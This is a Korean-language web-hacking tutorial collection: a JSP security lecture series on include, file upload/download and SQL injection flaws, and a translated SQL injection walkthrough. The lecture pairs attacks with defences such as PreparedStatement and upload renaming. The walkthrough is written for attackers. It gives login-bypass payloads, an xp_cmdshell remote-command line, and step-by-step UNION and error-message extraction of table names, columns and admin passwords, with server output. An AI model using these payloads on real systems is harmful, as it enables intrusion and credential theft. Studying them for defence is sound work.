그럼 어떻게 해야 할까요? 역시나 파라미터값을 필터링 하는수 밖에 없습니다
그래도 이정도면 약과 입니다 -_-;
다음을 보도록 하지요
JSP에서 include에는 대략 4가지 방법이 있습니다
① <%@ include file="sample.jsp" %>
② <jsp:include page="sample.jsp" flush="true" />
③ pageContext.include("sample.jsp")
④ <c:import url="sample.jsp" />
이 4가지가 무순 차이가 있을까요?
차이점을 쓸려다 보니 이번 강좌와 좀 동떨어지는것 같아 그건 제외하고 --;
문제는 동적으로 페이지가 include가 가능 하냐입니다
이점에서는 ①은 동적으로 설정이 가능하지 않으므로 안전한 include입니다 (서버측 include이니 당연합니다)
그럼 ②과 ③은 어떨까요? include할 페이지 설정이 동적으로 가능합니다
그래서 위와 같은 문제점이 있지요
하지만 ②, ③은 확장자가 jsp에만 반응을 하고 확장자가 jsp가 아닐 경우에는 그냥 텍스트로 include를 처리해 버립니다
④번은 좀 특이합니다 물론 동적으로도 가능하며 리모트로도 가능하다는 것입니다
어떻게 될까요?
그나마 다행인것이 test.jsp 파일을 가지고 와서 서버에서 실행되는 것이 아니라 리모트에서 실행된후의 html 결과물만을 가지고 오는군요 그렇지 않으면 악성 스크립트를 활용할수있는 좋은 구멍 이었을텐데 말입니다 ^^;
다음표로 include 4가지 특성을 정리하였습니다
유형 |
동적 실행 |
jsp 확장자에 반응 |
리모트 실행여부 |
<%@ include= |
N |
확장자에 상관없이 JSP로 실행 |
N |
<jsp:include= |
Y |
확장자가 JSP만 JSP로 실행 |
N |
pageContext.include |
Y |
확장자가 JSP만 JSP로 실행 |
N |
<c:import url= |
Y |
확장자가 JSP만 JSP로 실행 |
Y |
3. 파일 업로드 취약점
해커가 가장 많이 이용하고 좋아하는 취약점이 바로 이 파일 업로드입니다
이 부분은 누차 강조되어왔던 부분이라 대부분 아실겁니다
php 서버에는 php파일이, asp서버에는 asp파일이, jsp 서버에는 jsp파일이 업로드 되어서는 안됩니다
즉 서버에서 실행 가능한 파일을 올려선 안된다는 겁니다
악성 스크립트 침투 시나리오
① 악성 jsp 코드가 들어있는 test.jsp 파일을 글쓰기 화면을 통해 첨부 파일로 업로드 합니다
② 업로드 디렉토리가 /upload/ 라고 가정한다면 (업로드 디렉토리를 찾는건 그리 어렵지 않습니다)
/upload/test.jsp 파일이 첨부파일을 통해 업로드 되었습니다
③ URL로 그 파일을 요청합니다 http://localhost/upload/test.jsp
그러면 악성 코드가 들어있는 첨부파일이 웹서버에서 실행되어 버립니다
test.jsp 파일이 서버의 파일을 모두 삭제하는 스크립트라면 큰일이지요
④ 혹은 include 취약점을 이용해서 업로드한 스크립트를 include 시켜 실행 하기도 합니다
4. 파일 다운로드 취약점
간단한 jsp에서 일반적으로 사용하는 파일 다운로드 코드입니다
이역시 물리적 파일명 자체를 파라미터로 전달하고 있으며 이를 받아 파일을 다운로드 시키고 있습니다
무엇이 잘못되었을까요?
다음과 같이 URL을 요청해 봅시다
그려면 요청한 web.xml 이 다운로드 됩니다
즉 이말은 웹 어플리케이션의 모든 파일(소스)을 다운로드해 볼수 있다는 것입니다
소스를 보게 된다면 웹해킹이 물론 더 쉬워지겠지요?
5. 업로드 및 다운로드 취약점 개선 시나리오
① 악성 jsp 코드가 들어있는 test.jsp 파일을 글쓰기 화면을 통해 첨부 파일로 업로드 합니다
② /upload/test.jsp 로 업로드 후 파일명을 변경해 버립니다
/upload/200601171137507804462_jsp 로 변경해 버립시다
단순히 파일명만 변경해선 안됩니다 확장자도 제거해 버려야 합니다
업로드 후 파일의 확장자가 두개 이상이던지, "." 이 이유없이 많다던지, "/" 나 "\" 캐릭터가 파일명에 있으면 부적절한 파일로 간주하고 지워버립시다
그리고 200601171137507804462_jsp 명과 실제 파일명을 같이 데이터베이스에 저장합니다
③ URL로 그 파일을 요청합니다 http://localhost/upload/test.jsp
당연히 파일이 존재하지 않음으로 Not Found가 나올것입니다
④ 그럼 다음 URL로 요청해 봅시다 http://localhost/upload/200601171137507804462_jsp
어떻게 될까요?
jsp 코드는 실행되지 않고 text로 jsp 코드를 그냥 브라우져에 뿌리게 됩니다
즉 아무 상관이 없다는 것입니다
200601171137507804462_jsp 도 유저에게 보여주어서는 안됩니다
해당 URL 조차 허용하고 싶지 않다면 아래 web.xml에 security 제한을 둡시다
그러면 http://localhost/upload/200601171137507804462_jsp 은 다음과 같은 메세지를 뿌립니다
그리고 파일 다운로드는 직접파일 링크가 아니라 response의 ouputStream을 통해 다운로드 시킵시다
키값을 가지고 200601171137507804462_jsp 명을 얻어 다운로드 할수 있도록 프로그램 해야 합니다
즉 다운로드 시킬때도 물리적 파일명을 파라미터로 전달하지 말고 해당 키값을 전달해서 파일명을 데이터베이스에서 얻어오도록 합니다
ps. 이런 취약점 때문만은 아니겠지만 업로드한 파일을 파일 시스템으로 저장하지 않고 데이터베이스에 직접 저장하기도 합니다
6. SQL Injection으로 인한 결과물을 파일로저장하여 다운받아 볼 수 있습니다
앞에서 살펴본 SQL Injection을 예를들어봅시다
아래 코드는 게시물 번호를 파라미터로 입력받아 해당 글번호를 조회하는 코드입니다
아래와 같은 코드가 있다고 한다면 UNION SQL Injection 피해를 볼수 있다고 하였습니다
데이터베이스가 MySQL 이라고 한다면 URL 요청이 다음과 같다면 어떻게 될까요?
다음과 같이 에러 메세지가 납니다 하지만.. hack.txt란 파일은 생성이 됩니다
즉 user의 모든 아아디 비밀번호를 간편하게 파일로 다운받아 보는겁니다
그 다음 http://localhost:8080/upload/hack.txt 로 user_t 테이블에 있는 모든 사용자아이디와 비밀번호를 텍스트로 받아볼 수 있습니다. 아마 이방식으로 유저 아뒤/비번 많이 빼내신분들 많으실 겁니다 ㅎㅎ
톰캣 설치 경로는 어떻게 알까요?
톰캣설치경로 대부분 비슷할 겁니다 몇가지 해보면 금방 알수 있습니다
7. 마무리
그렇다면 어떻게 해야 이러한 피해를 최소화 할 수 있을까요? 나름데로 생각해 보았습니다
① 파라미터와 파라미터값에 대해 알아볼 수 없도록 최소한의 의미만 부여한다!!
역시나 파라미터가 중요합니다 누구나 알아볼 수 있도록 하는 의미보다는 나름데로
Naming rule을 정한다든지 암호화 하든지 하는것도 바람직 할 수 있다고 봅니다
② 파라미터값이 유효한 값인지 체크해 봅니다
파라미터값을 최대값, 최소값으로 제한하고 꼭 있어야 하는 문자열이나 꼭 없어도 되는 문자열등을 체크합니다
파라미터값 길이또한 최대, 최소값 제한을 둡니다
③ 중요한 파라미터 값은 (파일명같은..) 절대로 받지 않고 다른 로직으로 생각해 봅시다
파일명같은 중요한 값은 데이터베이스에 입력해 놓고 키값을 파라미터로 전달받아 파일명을 조회한 후 사용합니다
④ 웹프로그램의 취약점 분석 툴들이 찾아보면 몇개 있습니다(대부분 유로더군요) 이를 이용하여 테스트해 봅니다
두서없이 생각나는데로 적었습니다
그나마 JSP는 다른 PHP나 ASP에 비해 상당히 보안에 안정적입니다 JDBC 마다 틀리겠지만요
해결 방법이 생각해 보면 더 많을겁니다 물론 서버단에서 막는 방법이 제일 좋겠지만요 몇가지 사례를 적어놓았으니 그다음은 응용하기에 달렸지요
방어는 이제 여러분 몫입니다 ㅡ0ㅡ;
뚫느냐 뚫리느냐 그것이 문제로다~
=============================================
본문서는 자유롭게 배포/복사 할수 있지만
이문서의 저자에 대한 언급을 삭제하시면 안됩니다
저자 : GoodBug (unicorn@jakartaproject.com)
최초 : http://www.jakartaproject.com
=============================================
Web Hacking 1탄 SQL Injection
Web Hacking 2탄 파일조작
Web Hacking 3탄 구멍난 자바스크립트
1. 시작하기
가끔 뉴스나 방송에서 xx 사이트 해킹 당했다 라고들 많이 들어보았을 겁니다
이런 뉴스를 접할때 대체 어떻게 해서 해킹이 당하는걸까? 라고들 많이 생각해 보았을 겁니다
어떻게 해킹이 일어나는지 알아야 방어도 가능하기 때문에 이번 강좌는 웹해킹에 대해 알아볼 것입니다
첫번재 시간으로 SQL Injection을 배울 것이며 그다음 두번째에는 파일조작으로 인한 해킹을,
그리고 마지막 시간에는 자바스크립트 조작에 대해 알아보겠습니다
도표에서도 알수 있듯이 SQL Injection으로 인한 해킹이 가장 간단하고 쉽기 때문에
이를 가장먼저 알아보겠습니다
SQL Injection 이란 서버나 OS의 구멍을 이용한 해킹방법이 아닌 웹 어플리케이션 자체의 버그를
이용한 새로운 형태의 웹해킹 방법입니다
정의를 하자면
라고 할수 있습니다
즉 많은 웹페이지들은 사용자나 프로그램이 생성한 파라미터값을 이용해 쿼리를 만들고 실행하는데,
이때 정상적인 값이 아닌 파라미터값이 입력될 때 비정상적인 쿼리가 실행되며, 따라서
원하지 않는 결과가 나올수 있다는 것입니다
이해를 위해 바로 코드로 들어가 봅시다
아래 코드는 사용자가 입력한 로그인 아이디와 비밀번호로 로그인을 시도하는 로직입니다
무엇이 잘못되었을 까요?
코드상으로 보면 실행하는데 전혀 이상이 없는 코드이지만 쫌 아는사람들에게는 비밀번호 없이
아이디만 안다면 로그인을 성공할 수 있는 로직입니다
아아디가 goodbug 이고 비밀번호가 1111 인 계정이 있다고 합시다 ^^;
입력란에 googbug / 1111 을 입력하니 정상적으로 로그인이 true가 되었습니다
하지만 만약 다음과 같이 사용자가 입력한다면 어떻게 될까요?
로그인이 됩니다!
비밀번호에 상관없이 로그인이 되는군요!!
하다 더 보도록 하지요
위의 소스는 MySQL을 사용하고 있습니다
MySQL의 라인 주석처리는 # 입니다 아시죠?
즉 뒷부분 password를 체크하는 로직은 주석처리되어 버린겁니다 뜨아~
같은 의미이지만 아래처럼 여러가지 섞어서도 가능합니다
이게 만약 관리자 아이디였다면 문제는 더 심각해 집니다
이처럼 사용자의 고의로 인한 SQL을 조작하여 웹 어플리케이션 자체를 공격하는것이 SQL Injection 입니다
그렇다면 위의 소스를 어떻게 변경하는게 좋을까요?
위처럼 하면 어느정도 되겠네요 ^^
2. SQL Injection 패턴
그럼 SQL Injection에 사용될만한 문자열에는 어떤것이 있을까요?
아래 문자들은 해당 데이터베이스에따라 달라질 수 있습니다
문자 |
설명 |
' | 문자 데이터 구분기호 |
; | 쿼리 구분 기호 |
--, # | 해당라인 주석 구분 기호 |
/* */ | /* 와 */ 사이 구문 주석 |
일반적으로 알려진 몇가지 패턴입니다
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
' or password like '%
이러한 패턴들로 타겟 데이터베이스가 오라클인지 MySQL인데 혹은 M$SQL인지 확인할 필요가 있을겁니다. 왜냐하면 그것에 따라 다양한 공격 방법이 생기기 때문입니다
그럼 이러한 구분은 그럼어떻게 할까요?
SQL Injection을 이용하여 다음값이 true인지 false인지 확인합니다
AND 'abcd' = 'ab' + 'cd'
true 이면 오라클은 아닐겁니다 오라클은 ||을 문자열 concat 으로 사용하지요
AND 'abcd' = 'ab' || 'cd'
true 이면 오라클입니다
rownum 도 구분할수 있는 좋은 예입니다
MySQl은 라인 주석이 #입니다 다른 대부분 데이터베이스는 --를 사용하지요
#을 SQL Injection 하였을때 위의 예처럼 에러가 발생하지 않으면 MySQL입니다
또 limit 등도 도움이 될겁니다
이처럼 해당 데이터베이스가 고유하게 사용하는 key들을 SQL Injection하여 구분할 수 있습니다
3. UNION SQL Injection
위와같이 WHERE절에 SQL Injection을 사용하여 조건절을 무력화 시키는 방법도 있지만
UNION SQL Injection은 원하는 정보도 뽑아볼 수 있습니다 ^^V
코드로 바로 봅시다
아래 코드는 게시물번호를 파라미터로 받아 해당 게시물이 존재하면 글번호와 글제목, 글내용을 조회하는 코드입니다
무엇이 잘못되었을까요?
글번호가 1134896409234 인 게시물은 다음과 같이 URL이 요청되어 조회가 될겁니다
요청 URL
하지만 위와 같이 추가적으로 UNION SQL Injection이 들어갈 수 있습니다
그러면 goodbug라는 아이디의 비밀번호가 그만 조회되어 버립니다!!
그럼 user_t 라는 테이블과 ,userid, userpw라는 컬럼명들은 어떻게 알수 있을까요?
오라클 이라면 다음과 같이 알아낼 수 있습니다
테이블 명을 알아냈다면 이제 컬럼명을 알아봐야겠죠
오라클이라면 user_tab_columns view를 통해 알아볼 수 있습니다
SELECT * FROM user_tab_columns WHERE table_name = 'user_t'
물론 한번에 알아낼수 없으며 많은 시행착오를 겪어야 하는것은 필수입니다
그래서 제로보드나 Unicorn 같은 공개 게시판인 경우는 타겟이 되기 쉽상입니다
MySQl이나 Oracle JDBC에서는 다행히도 ; 문자를 이상 캐릭터로 보고 에러를 반환합니다
하지만 그렇지 않은 JDBC가 있따면 큰일입니다 아래와 같은 코드가 가능하기 때문이지요
PHP나 ASP인 경우에는 가능한 쿼리 입니다
이제 대강 SQL Injection에 대해 감이 잡히시나요?
4. 에러 메세지를 통한 정보수집
admin_login 이라는 관리자 테이블과 login_name이라는 컬럼을 알아 냈다고 한다면..
M$SQL인 경우를 예를 들겠습니다
Output:
라는 메세지가 나옵니다
여기서 무순 정보를 알수 있을까요? 바로 goodbug 라는 관리자 아이디가 있다는 것을 알았습니다
그럼 여참에 비밀번호까지 알아봅시다
Output:
즉 nvarchar 타입의 컬럼을 int형으로 convert를 유도하면서 해당값을 에러메세지로부터 취득할 수 있습니다
가능하면 에러 메세지는 일반 유저에게 뿌리지 말아야 겠지요?
5. 그렇다면 막아보자 SQL Injection
해커라고 컴퓨터 한두번 두둘겨서 어느 한 사이트를 뚝딱 해킹하지는 못합니다
웹 해킹을 하기 위해서는 보통 짧으면 일주일에서 길면 몇달까지 해커는 치밀한 준비를 한다고 합니다
웹페이지들이 전달하는 모든 파라미터를 조사하고 반복되는 에러 화면을 보면서
여러 패턴별로 치밀하게 조사후 시행을 한다고 하네요
그렇다면 어떻게 이들로부터 웹 어플리케이션을 보호할 수 있을까요?
다음과 같은 원칙을 지킨다면 이러한 SQL Injection을 사전에 방지할 수 있습니다
① 프로그래머의 적극적인 의지가 있어야 합니다!
-. 여러가지 신경써야 할곳도 많고 입력값에 대한 체크로직 또한 늘어날 것입니다
많은 귀차니즘이 생길겁니다
머 누가 장난치겠어? 라는 생각이 많은 빵꾸를 만듭니다
② 사용자가 직접 입력하는 파라미터는 절대 신뢰하지 않아야 합니다!
-. 입력값은 javascript 뿐만 아니라 서버측에서도 체크를 해야 합니다
숫자만 받은 입력칸이면 반드시 javascript 체크와 동시에 서버측에서도 숫자만 입력되었는지 체크해야 합니다
-. 필요하다면 특수문자는 필터링해 버립시다 ( ‘ “ / \ : ; Space < > )
-. 또 가능하다면 SQL 명령도 필터링 해버립시다 (UNION, SELECT, DELETE, INSERT, UPDATE, DROP..)
③ 사용자 입력을 받아 SQL을 작성하는 부분은 반드시 PreparedStatement를 사용하여 바인딩 처리 합니다!!
-. PreparedStatement는 SQL Injection을 원천적으로 봉쇄합니다
-. 꼬~옥 필요한곳만 Statement를 사용합니다
④ 웹에서 사용하는 유저는 OS계정 뿐만 아니라 데이터베이스 계정또한 가능한 권한을 낮춥니다!!
⑤ 에러 메세지를 노출하지 않습니다!!
-. 에러 메세지는 해커들에게 많은 정보를 제공해 줍니다
가능하면 유저에게 알리지 말고 은밀하게 보관해야 합니다
⑥ 동적 SQL은 가능하면 생성하지 않는다!!
-. 가능한 동적 SQL은 지양하며, 비지니스로직상 동적 SQL이 어쩔수 없다면 파라미터 검사를 충분히 해야한다
많은분들이 아시는 내용이지만 처음보시는분에겐 많은 도움이 되실겁니다 ^^
=============================================
본문서는 자유롭게 배포/복사 할수 있지만
이문서의 저자에 대한 언급을 삭제하시면 안됩니다
저자 : GoodBug (unicorn@jakartaproject.com)
최초 : http://www.jakartaproject.com
=============================================
꾀 오래된 자료인데, 정재씨라는 분이 예전에 공개했던 자료랍니다.
sql 에 기본 베이스가 잡혀있는 분은 쉽게 보실수있습니다.
Details
1.0 Introduction
============================================
서 버가 단지 80포트만을 오픈하고 있을때, 당신의 믿음직한 취약점 스캐너는 유용한 정보를 잡아내지 못한다.
당신도 알다시피 관리자는 항상 서버를 패치한다.
우리는 웹해킹으로 관점을 돌려야 한다.
SQL injection은 단지 80번 포트만을 필요로 하는 웹해킹의 방법중 한가지이다. 만일 관리자가 패치를 잘 하고 있을지라도 해킹은 잘 작동하게 될것이다.
SQL injection 는 OS 상에서 웹서버나 서비스가 실행되고 있다고 할지라도 웹 어플리케이션(like ASP, JSP, PHP, CGI, etc) 상에서 웹어플리케이션 그자체를 공격한다.
이 문서는 새로은 것에 대해서 말하고 있지는 않다.
SQL injection에 관한 문서는 여러사람들이 써 왔고 널리 사용되어지고 있다.
우리는 이문서를 작성했다. 직접 수기로 작성한 SQL injection 의 몇가지를 문서화 하기 위해서 그리고 다른사람들에게 이문서가 도움에 되기를 바라기 때문이다.
당신은 한 두가지를 더 발견할수 있을 것이다.
그러기 위해서 "9.0 Where can I get more info?"를 확인해 봄으로써 SQL injection 안에서 많은 테크닉들을 개발할수 있는 믿을만한 많은 정보들을 얻을수 있을 것이다.
1.1 What is SQL Injection?
-------------------------------------------------------------------------
SQL injection 은 웹 페이지를 통해서 입력하는 것처럼 SQL query/command를 삽입하기위한 트릭이다.
많은 웹페이지들은 웹 사용자로 부터 패러미터들을 입력받아 데이타베이스에대한 SQL query를 만든다.
사용자가 로긴을 할때를 예를 들자면, 사용자가 유효한 이름과 패스워드를 사용하는지를 확인하기위해서 사용자 이름과 패스워드를 에 관한 SQL query 를 만든다.
SQL injection를 통해서, 정상적인 SQL query를 변조하게 하는 교활하게 조작된 사용자 이름과 패스워드를 보내는 것이 가능하고 우리는 이것을 통해서 어떤것을 행하게 할수가 있는 것이다.
1.2 What do you need?
-------------------------------------------------------------------------
어떤 브라우저라도 좋다.
2.0 What you should look for?
============================================
데 이타 입력을 허락하는 웹페이지를 찿아 보아라.
예를 들자면 로긴 웹 페이지, 서치 웹페이지, 피드백 등등. 자주 HTML 페이지는 다른 ASP 페이제 패러미터를 보네기 위해서 POST 명령을 사용한다.
하지만 당신은 URL 에서 패러미터를 볼수는 없을 것이다.
그러나 HTML의 소스 코드를 확인해 보면 HTML 코드에서 "FORM" 태그를 발견 할 수 있을 것이다.
당신은 이 HTML 코드에서 다음과 같은 것을 발견 할 수가 있을 것이다.
2.1 What if you can't find any page that takes input?
-------------------------------------------------------------------------
ASP, JSP, CGI, or PHP 같은 웹 페이지들을 찿아 보기 바란다. 특히 다음과 같은 패러미터를 가지고 있는 URL을 찿아 보거라. 다음:
3.0 How do you test if it is vulnerable?
============================================
싱글 쿼트(') 트릭으로 시작해 보자!
다음과 같이 입력해 보거라.:
hi' or 1=1--
다음 예와 같이 로긴, 패스워드 또는 URL 에서 말이다.
- Login: hi' or 1=1--
- Pass: hi' or 1=1--
- http://duck/index.asp?id=hi' or 1=1--
만일 히든 필드와 같이 이것들을 실행해야 한다면 사이트로 보터 HTML 소스를 다운로드 받고, 당신의 하드 디스크에 저장하고, 적당하게 URL 과 히든 필드를 수정하라. 예를 들자면 :
운이 좋다면 로긴 네임이나 패스워드 없이 로긴 할 수 있을 것이다.
3.1 But why ' or 1=1--?
-------------------------------------------------------------------------
' or 1=1-- 가 왜 중요한지에 대해서 다른 예제를 알아 보도록 하자.
로긴을 바로 통과 하는 것외에 일반적으로 가능한것은 아니지만 또다른 가능성은 엑스트라 인포메이션 즉 부수적인 정보를 보는 것이 가능하다는 것이다.
다음 URL 과 같이 당신을 다른 페이지로 링크를 해주는 asp 페이지를 보자 :
http://duck/index.asp?category=food
이 URL에서 'category' 는 변수이고 'food'는 변수에 할당되어진 변수 값이다.
이와 같은 일은 하기 위해서 ASP는 다음과 같은 코드를 포함하고 있을 것이다.
(그렇다. 이것은 이 문제를 위해서 우리가 만든 실제 코드이다.) :
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
보는 바와 같이 우리의 변수는 v_cat 안으로 들어 갈 것이고 그래서 SQL 문장은 다음과 같이 될 것이다.:
SELECT * FROM product WHERE PCategory='food'
쿼리는 WHERE 조건(이경우 'food')과 일치하는 한개나 한개 이상의 행을 결과로 리턴한다.
이제 다음과 같이 URL을 바꾸게 될 경우를 알아 보자 :
http://duck/index.asp?category=food' or 1=1--
만일 SQL query 에서 변수를 다음과 같이 변경하게 되면, 이제 변수 v_cat = "food' or 1=1-- " 되고 우리는 다음과 같은 결과를 얻을 것이다:
SELECT * FROM product WHERE PCategory='food' or 1=1--'
쿼 리는 product 테이블로 부터 모든것을 선택한다.
PCategory 가 'food' 인지 아닌지에 상관없이 말이다 더블 대쉬("--")는 MS SQL 서버에게 쿼리의 나머지 부분을 무시하도록 한다. 마지막에 있는 싱글 쿼트(')를 제거하는 역할을 하게 될 것이다.
종종 더블 대쉬(--)는 싱글 해쉬(#)로 대체 할 수 있다.
하지만 SQL 서버가 아니거나 쿼리의 나머지를 간단하게 무시하게 할수가 없다면 다음과 같이 시도해 보라:
' or 'a'='a
SQL 쿼리는 이제 다음과 될 것이다:
SELECT * FROM product WHERE PCategory='food' or 'a'='a'
이제 동일한 결과를 돌려 줄 것이다.
실제 SQL query 에 따라서 다음과 같은 것들중에서 한개로 시도 하기 바란다:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
4.0 How do I get remote execution with SQL injection?
============================================
만 일 일반적인 의미로서 SQL 명령을 삽입 할수 있다면 모든 SQL query 를 실행 할수 있을 것이다.
MS SQL 서버가 윈도우즈 안에서 관리자 접근과 동등한 시스템상에 디폴트 인스톨로 실행되고 있다.
우리는 리모트 실행을 수행하기 위해서 xp_cmdshell 를 마스터 같이 저장된 프로시저를 사용할수 있다.... :
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
싱글 쿼트(')가 작동하지 않으면 더블 쿼트(")를 사용해 보라
세 미 콜론은 현제 SQL query 를 끝나게 할것이고 그래서 당신이 새로운 SQL 명령을 시작할 수 있게 할것이다.
만일 서버로부터 어떤 패킷이 있는지를 체크하기 위해서 명령이 성공적으로 실행되었는지를 확인하기 위해서 10.10.1.2 로 부터 ICMP 패킷을 리슨 할수 있다. :
#tcpdump icmp
만일 당신이 서버로부터 아무 핑(ping) 요구 받지 못했고, 퍼미션 에러를 표시하는 에러메시지를 받았다면, 이러한 저장된 프로시저에 대해서 관리자가 웹사용자의 접근을 제한하고 있을 가능성이 있다.
5.0 How to get output of my SQL query?
============================================
HTML 안에 당신의 쿼리를 삽입하기 위해서 sp_makewebtak 를 사용 할 수 있다:
'; EXEC master..sp_makewebtask "10.10.1.3shareoutput.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"
하지만 타켓 IP 는 모든 사람이 공유하고 있는 공유 폴더이어야 한다.
6.0 How to get data from the database using ODBC error message
============================================
우리는 우리가 원하는 대부분의 데이타를 얻기 위해서 MS SQL 서버에 의해서 처리되어지는 에러 메세지로 부터 정보를 사용 할 수 있다. 다음과 같은 문장을 가지고 있는 페이지가 있다고 하고 예를 들자면 :
우리는 데이타베이스로 부터 정수 10 을 다른 문자열과 함께 UNION 을 시도할 것이다:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
서 버안에서 시스템 테이블 INFORMATION_SCHEMA.TABLES 은 모든 테이블에 관한 정보를 포함하고 있다.
TABLE_NAME 필드는 데이터베이스 안에서 각 테이블의 이름을 분명히 포함하고 있다.
알다 시피 그것은 항상 존제 하기때문에 우리는 그것을 선택했다. 우리의 쿼리는 :
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-
이 것은 데이터베이스 안에서 첫번째 테이블을 리턴한다.
우리가 이 문자열 값을 정수 10과 UNION 할때 MS SQL 서버는 문자열(nvarchar)을 정수로 변환을 시도할 것이다.
이것은 우리가 nvarchar을 int 로 전환 할 수 없는 것 때문에 에러를 발생 시킨다.
서버는 다음의 에러 메시지를 출력할 것이다:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5
에러 메시지는 어떤 값이 정수로 변환 되어질수 없다는 것을 알려주게 되므로 우리에게 충분한 가치가 있다.
이경우에 우리는 데이터 베이스에 있는 첫번째 테이블 이름이 "talbe1" 이라는 것을 알게 된다.
다음 테이블 이름을 얻기 위해서 우리는 다음 쿼리를 사용 할 수 있다:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
우리는 LIKE 키워드를 사용하여 데이타를 조사 할 수 있다.
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]
Syntax error converting the nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5
동등한 표시로서, SQL 서버 안에서 '%25login%25' 은 %login% 처럼 보여질 것이다.
이경우에 우리는 "admin_login" 과 일치하는 첫번째 테이블 이름을 얻게 될것이다.
6.1 How to mine all column names of a table?
---------------------------------------------------------------------------
우리는 테이블의 모든 컬럼들의 이름을 알기 위해서 다른 유용한 테이블
INFORMATION_SCHEMA.COLUMNS 을 사용 할 있다 :
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]
Syntax error converting the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5
이제 첫번째 칼럼 이름을 얻게 되었고 다음 컬럼 이름을 얻기 위해서 NOT IN () 을 사용 할 수 있다 :
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE
COLUMN_NAME NOT IN ('login_id')--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]
Syntax error converting the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5
이와 같이 계속해서 나아가서 우리는 나머지 칼럼 이름을 획득 했다.
"password", "details". 우리는 이것들을 다음 에러 메시지를 얻었을때 알수가 있다 :
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE
COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]
ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5
6.2 How to retrieve any data we want?
---------------------------------------------------------------------------
이제 몇개의 중요한 테이블들 과 그것들의 컴럼들을 확인해보자.
우리는 데이타베이스로 부터 우리가 원하는 정보를 획득하기 위해서 똑같은 테크닉을 사용 사용 할 수 있다.
이제, "admin_login" 테이블로 부터 첫번째 login_name 을 얻어보자:
http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]
Syntax error converting the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5
이제 우리는 neo 라는 로긴 이름을 가지고 있는 admin 유저가 있다는 것을 알았다.
마지막으로 데이터베이로 부터 neo 의 패스워드를 얻기 위해서 :
http://duck/index.asp?id=10 UNION SELECT TOP 1 password
FROM admin_login where login_name='neo'--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]
Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5
우리는 ID neo, password m4trix 로 로긴 할 수 가 있을 것이다.
6.3 How to get numeric string value?
---------------------------------------------------------------------------
위에 설명한 테크닉에는 제한 사항이 있다.
만일 우리가 유효한 숫자(0-9 사이에 있는 문자)로 구성된 텍스트를 변환하기를 시도한다면 우리는 어떤한 에러 메시지도 얻을 수 없을 것이다.
ID trinity인 사용자의 패스워드 31173 을 얻기 위한 시도를 가지고 말해보자:
http://duck/index.asp?id=10 UNION SELECT TOP 1 password
FROM admin_login where login_name='trinity'--
우 리는 "Page Not Found" 에러를 얻을 것이다.
정수(이경우 10)와 UNION 하기 전에 패스워드 31173 은 숫자로 변환되어질 것이기 때문이다.
그것은 유효한 UNION 문 이기 때문에 SQL 서버는 ODBC 에러 메시지를 출력하지 않을 것이다.
그래서 우리는 어떠한 숫자 엔트리를 발견해 낼 수가 없다.
이 문제를 해결하기 위해서, 우리는 변환이 확실히 실폐 하로독 하기 위해서 숫자 문자열에 몇개의 알파벳을 덧붙일 수 있다.
이번에는 위에것 대신이 이 쿼리로 시도를 해보자:
http://duck/index.asp?id=10 UNION SELECT TOP 1
convert(int, password%2b'%20morpheus')
FROM admin_login where login_name='trinity'--
우 른는 패스워드에 우리가 원하는 어떤 텍스틀를 덧붙이기 위해서 더하기 기호(+,ASSCII code for '+' = 0x2b)를 사용한다.
우리는 '(space)morpheus' 를 실제 패스워드에 덧붙일 것이다.
그래서 우리가 숫자 문자열 31173 을 가지고 있다고 할 지라도 그것은 '31173 morpheus' 이 될 것이다.
수작업으로 convert() 함수를 호출 함으로서 '31173 morpheus' 을 정수로 변환을 시도해보면 SQL 서버는 EDBC 에러 메시지를 출력 할 것이다:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]
Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5
이제 ID trinity, 패스워드 31173 로 로긴을 할 수가 있다.
7.0 How to update/insert data into the database?
